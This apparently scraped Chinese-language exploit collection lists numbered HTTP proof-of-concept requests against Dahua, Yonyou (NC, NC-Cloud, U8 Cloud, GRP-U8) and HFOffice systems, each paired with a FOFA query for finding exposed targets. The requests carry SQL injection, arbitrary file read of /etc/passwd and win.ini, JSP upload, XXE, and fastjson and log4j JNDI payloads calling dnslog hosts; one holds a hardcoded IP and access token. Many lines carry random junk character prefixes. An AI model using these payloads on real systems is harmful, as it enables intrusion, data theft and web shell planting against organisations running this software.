2 |) o* p5 ]+ jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
! r3 E( X4 i, sConnection: close
7 A' B0 L& c' y1 `# @Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
: K. t/ c) N: z6 c4 zAccept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
0 @. o0 W# p& Y  X& B  h3 \7 D0 iFOFA：title="HFOffice"
8 u( V4 [% J" n( f- U& Q, Gpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
# T) p8 x" ~$ x  q' l$ L0 vHost: x.x.x.x
5 B4 l# L! k& ?User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
% ^3 @) u2 |7 o0 C9 q+ NConnection: close
Accept: */*
3 V- o( I$ _" g/ {2 u+ `Accept-Language: en
" G. T/ k+ L" q9 u% `Accept-Encoding: gzip


1 J' z  M. F  I5 _6 N1 f7 U  i; Q$ G7 r17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
& n( X$ B' F. DHost: x.x.x.x
7 \& E/ I- T$ R* L" k6 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 p' U  H7 A% o' ]7 pConnection: close
Content-Length: 345
& }2 e' S( w* }$ e( zAccept-Encoding: gzip
' _6 l! v$ ?2 C+ p
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
" A' J  V7 i% V: h- V6 Q( Y      </netMarkings>
4 F0 M& b) b" M1 O* s    </ns1:deleteBulletin>
8 ~. Y& f. B" u  u6 H) b& m  </s11:Body>
</s11:Envelope>
7 p  F  g/ n* \/ r( m3 B/ e
5 q+ Q  d, h7 Q& W
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
$ \! A9 V& g6 l5 {Host: your-ip
/ [* Q" F! W% n) eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  G# O' W9 |: B% u  c% ^( _# }+ QAccept-Encoding: gzip, deflate
* g. T' w$ I5 JAccept: */*
Connection: keep-alive
# ?  E* P2 m) s


: H5 |! F( g* W, |! l' j19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
& u0 t* ^- t, B3 O4 O' |1 V* ?FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ ]7 B# w9 ?- k% z: {; M/ \6 \( I0 v

% ~# ~# `- g$ c0 E0 X3 p2 i4 _2 G20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
* |3 D+ W3 ~. K" ]. Q: {% _: MHost: x.x.x.x
0 R6 c% Q6 ~" b& l) z. jUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ Z, B  O9 M4 Z* D# v% ?Connection: close
Accept: */*
( x. |+ ?& r% }& J. uAccept-Language: en
! X2 ^5 O5 B4 g5 M  E1 t; FAccept-Encoding: gzip
% J+ T" C4 B6 ?/ t" O* R, Q, ~
4 J& e4 Z  ^4 C3 [% ]8 [$ O. B
/ s0 G$ a% o3 Q; y7 K/ _21. 大华ICC智能物联综合管理平台random远程代码执行
& m! d0 E4 U# e$ w9 M& ~# j( jFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
7 H; T. W2 I3 ^; @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
. R0 L" \, D" E- YContent-Type: application/json;charset=utf-8

* f/ ]/ D/ X  Z{
+ }4 ?' _& j- z9 L& Y"a":{
3 ^. ^4 x% J5 P+ q5 w' q   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
0 _* J# j$ L  c7 E5 Q

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
: {2 O( L3 [; p) jPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. L1 _( @1 Q& uContent-Type: application/json;charset=utf-8

5 O# Y$ b$ V* y# P$ v{
( a! X2 \+ y1 f2 t) g"loginName":"${jndi:ldap://dnslog}"
}

7 n0 R2 \; {' `$ x7 Z

5 d3 y1 ?- R+ p2 R+ o! |* ]7 ~23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
. B1 W' v# ?( I) jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
! r1 o) T6 t' x/ ~/ [
1 U/ M: k' k5 {4 \) D/ A3 U3 v8 x{
    "a":{
; ?1 o" ^: h% _: P. v        "@type":"com.alibaba.fastjson.JSONObject",
" j3 b% k* m9 U. k2 m' y0 m       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
1 U5 d9 Z  A5 R2 p}


24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
; G3 O* M/ f+ O% o' cPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
9 m9 {6 C1 ]7 dAccept: */*
Accept-Encoding: gzip
9 j+ A" p6 }% EContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
& b. W: g' y6 ~9 WContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ w0 x) c% A% d* \; n0 ?Content-Disposition: form-data; name="fname"
- n( `0 v  U) s$ e. e) P: f
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

: P, U+ u/ o( I2 g% W
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
8 C: @* E" ]) e3 qPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
. r& H  d2 Z  uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
! [! i3 t; S( C% [  t3 a1 k$ EAccept-Encoding: gzip, deflate
) l& W$ o: N4 u" u: F4 F0 I; ?Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog



# m) Q4 c7 [( s. i& D0 @/ N$ e9 p0 U/ P26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
% A5 O  n! Q, ~7 @& bGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 f! ?) W8 X* J$ G: S8 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  l; h0 j3 _: g& |Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
& b( o5 Y9 n) W) Y# A7 S
$ x6 U+ V% C( C( }
27. 用友 NC showcontent SQL注入
4 n* f, _- P; g, l+ k" u/ fFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
4 q: A! W1 u- p+ ~$ {: FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
( D6 _5 A; P. Y0 i3 m+ e( NConnection: close
Content-Type: text/xml; charset=utf-8
5 \5 m! S, i$ d/ E; W, C+ U

28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
9 ~. l2 q( e  B- B0 a7 I8 ]POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
  I* \# L  ^" h1 a" }. ?  vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 M& L' E, p( `# |$ }& z' XConnection: close
, X* O, o* P1 r8 [6 @4 z2 WContent-Length: 268
3 O" P2 _7 T0 L+ E0 f# {Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
% \) h! A$ x, E) a. \+ B+ v- c- ~# ?Accept-Encoding: gzip

/ |8 {/ g/ r9 A- P# I7 P, `------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" o" F! M. w1 I" p2 rContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
  i+ e1 }% ?: g5 j/ EContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

3 [+ @' u6 C  x5 B& s% g
/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 `/ C- z" Q+ pGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
0 P4 ^" I3 _0 K# D. GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- h8 m9 H8 x) D* o" FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# [+ W8 p6 x3 S2 ]" n, O: tAccept: */*
6 j# T& R1 M& d' [  ?Connection: keep-alive

+ {" s& w- X) R- H, H9 ]! d8 f
6 v1 ~9 c; A, C: K- C8 \# Q30. 用友NC importPml SQL注入
9 r) m& I, |' C: }0 |$ |FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
1 {) _, I: E; ]POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
! a3 V, b1 C( gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

0 e5 o$ M+ f0 o* c) P# I1 [, H1 R------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
' c6 ]+ V4 f( D6 C) f2 X8 m- TContent-Type: image/jpeg
' ?* N* g/ N1 G! q4 w6 C------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
6 S0 q) S. c$ f7 G% `version<=6.5
  P: y6 A" ]* ?* D' U2 p/ }6 ^FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
- O# D) l+ y+ w2 O, LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

/ X- r8 e7 ]  X9 |2 I5 e; v
: m# ~) T4 m: _. V# y6 g, V32. 用友NC complainbilldetail SQL注入
- L  M/ a0 e: L5 J; L& k, cversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
/ I. N$ {9 A% V( U" z. a; v. ^% M. V% ~GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- V* @! n1 H. ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

, `7 m! a9 u+ q: Q& T( a. a6 o, z
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
' q* i* j$ o# |7 V0 y7 [( K8 @GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: l3 z" d" c5 B  g( l9 a1 mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 W" a. ]$ l, i9 _* oAccept-Encoding: gzip, deflate
; n$ N! z! ~9 I1 R( w9 z0 `4 @; }# lAccept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 ?7 B  z. w' a0 }- uHost: your-ip
" g1 [. K, n" R4 e$ i$ ~$ J7 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! z; Z3 ~+ T7 r) xAccept-Encoding: gzip, deflate
Accept: */*
" V' K3 O- E8 ^, mConnection: keep-alive
( N. p4 h$ |0 f: |- m3 R

; C, ]: o* T9 p9 u0 A6 d35. 用友NC-Cloud importhttpscer任意文件上传
4 v) m2 M* y9 p$ _5 e  }FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
. a% s1 {7 ?3 Z  tHost: 203.25.218.166:8888
9 r: N0 q3 z# v- N. P4 U! Q5 N4 q% MUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
. q' k" C0 |* ]accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
/ P+ p( _. j0 g6 c( ?  C8 _Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

5 a& m, K6 X) P/ J<%out.println(1111*1111);%>
" @" K) \# i* e+ l4 O# f; C--fd28cb44e829ed1c197ec3bc71748df0--
1 M  e6 {/ D: D. ]
9 e/ t; t$ X: z; [! ]
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
& ^- e3 [# l6 e8 pPOST /uapws/soapFormat.ajax HTTP/1.1
7 N! X( C. ^% W, E7 lHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
) |- b) d/ g( t" h' uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: K' \2 O/ c" v0 D5 e/ xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 i) L% {# ]/ x( e* g: Q# J, jConnection: close
" I, @" l6 J6 V2 w7 AContent-Type: application/x-www-form-urlencoded
* U- G# M% B; V# J) ^Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
  V- }6 L0 Z) nContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
( w* J* v1 F+ V* O1 q# U1 F* T* NAccept-Encoding: gzip, deflate
; M# F- L8 Q) c1 R7 W3 rAccept-Language: zh-CN,zh;q=0.9
Connection: close
! F# f3 v' h6 NContent-Type: text/xml;charset=UTF-8
) O$ a9 U  w5 h$ x* DSOAPAction: urn:getResult
; W% ^8 d0 @& {/ P/ Y, zUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
( X# r7 R+ c2 O) I' S( l' ]<soapenv:Header/>
5 k% T  F8 t, g* E4 C6 {' W<soapenv:Body>
<iup:getResult>
<!--type: string-->
6 R% N) x- T  T# s9 K! L: e' O<iup:string><![CDATA[
& J- C! A$ L6 A1 Q. P<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
0 {( ^& c, h5 J- |6 G+ G+ i. v<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
; x# x  g& `2 `- b* Z5 V: R</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
1 c- m* Z3 M, f; s% sFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
( z* K1 D0 L# p8 f; j8 ]8 lHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
; B$ X8 Y5 g9 B, N7 UContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
$ y0 c3 B. S; Z/ OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 Q. y1 r0 d& O6 D6 E( CConnection: close
5 X. {; t2 ?/ W! f1 z" _1 `Content-Type: application/x-www-form-urlencoded

: `' o+ `1 T6 s: D% G' o__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
6 V1 @7 v& `- O$ V  t( q

39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
* l: `$ N# n1 r' R0 N/ _( uPOST /servlet/RegisterServlet HTTP/1.1
( {$ s5 v/ A- F: P7 s  iHost: 192.168.86.128:8089
8 Q! v- [; ?2 O8 S) ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
7 s6 Y2 H5 w5 y: \Accept: */*
. ]- y# w: z7 V8 yAccept-Language: en
Content-Type: application/x-www-form-urlencoded
) ~' A' G0 t9 I" p8 [4 Z- j) P& WX-Forwarded-For: 127.0.0.1
+ @9 d& S1 w! i& |Accept-Encoding: gzip
; Z% T, T  V& S# Y6 h0 s( U
$ O- R# T- j8 t( e, xusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
* [: ]: [( L/ IFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
7 B; C8 j2 Z% o1 w& R8 [
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

( D+ G  |( ]7 Q: ^+ ^
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
" Z1 ]5 ?" s" y) g. l& iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

0 U1 |* C0 ?8 j% q1 {- \0 ?6 U9 X
' z3 M/ D$ \' m* q+ O42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
5 O, M  P/ j. V/ e/ u/ h) HPOST /u8qx/SmartUpload01.jsp HTTP/1.1
" d2 _. U( t! S/ p& a( RHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


6 _9 g9 A/ @& H: \http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
  Z6 b1 A% [9 V4 w" n4 _Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
7 Y9 ~- `5 ?7 |% Q0 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 ]: b  b1 c6 E5 }# vAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
$ s/ [2 U- |1 {5 q   <soapenv:Header/>
   <soapenv:Body>
4 `  o# |. A* [, X8 f8 L      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>

4 |5 s5 i% v# [% @
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
" A, y- A' ?0 r: x9 XFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
* b6 M. D2 s" p/ S/ I7 i  J; j0 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 \$ O* H$ G1 I3 }2 u+ CAccept-Language: zh-CN,zh;q=0.9
. T1 F% h! t- MConnection: close

. {( `0 |! f2 g/ Q: l
45. 用友GRP-U8 ufgovbank XXE
( B' f6 e9 w* I  sFOFA：app="用友-GRP-U8"
  M" T. U: r1 E# c4 i: ~/ a% x) cPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
1 z) T8 `4 U  T- mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
- s! W4 t; E" ?. J  L6 HConnection: close
Content-Length: 161
6 r& j6 A! b5 x8 t+ V" h: |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& B* U4 O$ G# U' X  a& [% mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 z" @" F4 X/ G+ T% ]8 QContent-Type: application/x-www-form-urlencoded
; I; U: I9 D7 D9 rAccept-Encoding: gzip

; k' f# J& z! g  J# Y& R8 wreqData=<?xml version="1.0"?>
/ f- m. p6 D0 Z0 X% `+ b2 n/ @! j<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
! M" S' c8 N4 X8 `

8 q, }5 @' l2 B% `1 B: P8 @46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
2 ?8 k- P+ K5 S4 Y. }# _GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
& Y! E% T" m  F. FHost: your-ip
' L! Q2 q/ g, W8 a6 J$ l. ]( pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ M, s2 \: v: y- ZAccept-Language: zh-CN,zh;q=0.9
9 O5 M% R- c: eConnection: close
& L. q; v( p5 m, y
6 u& O% x6 z* Q9 Y$ G  {) E
* f6 k8 A) Q3 K1 k" d$ Y47. 用友GRP A++Cloud 政府财务云 任意文件读取
) }; f4 S# Y, v/ _# v0 O' MFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
* e  q8 o% c* t& g5 s4 ZCache-Control: max-age=0
/ B: u0 @" w4 d0 R# C9 s& k( eUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
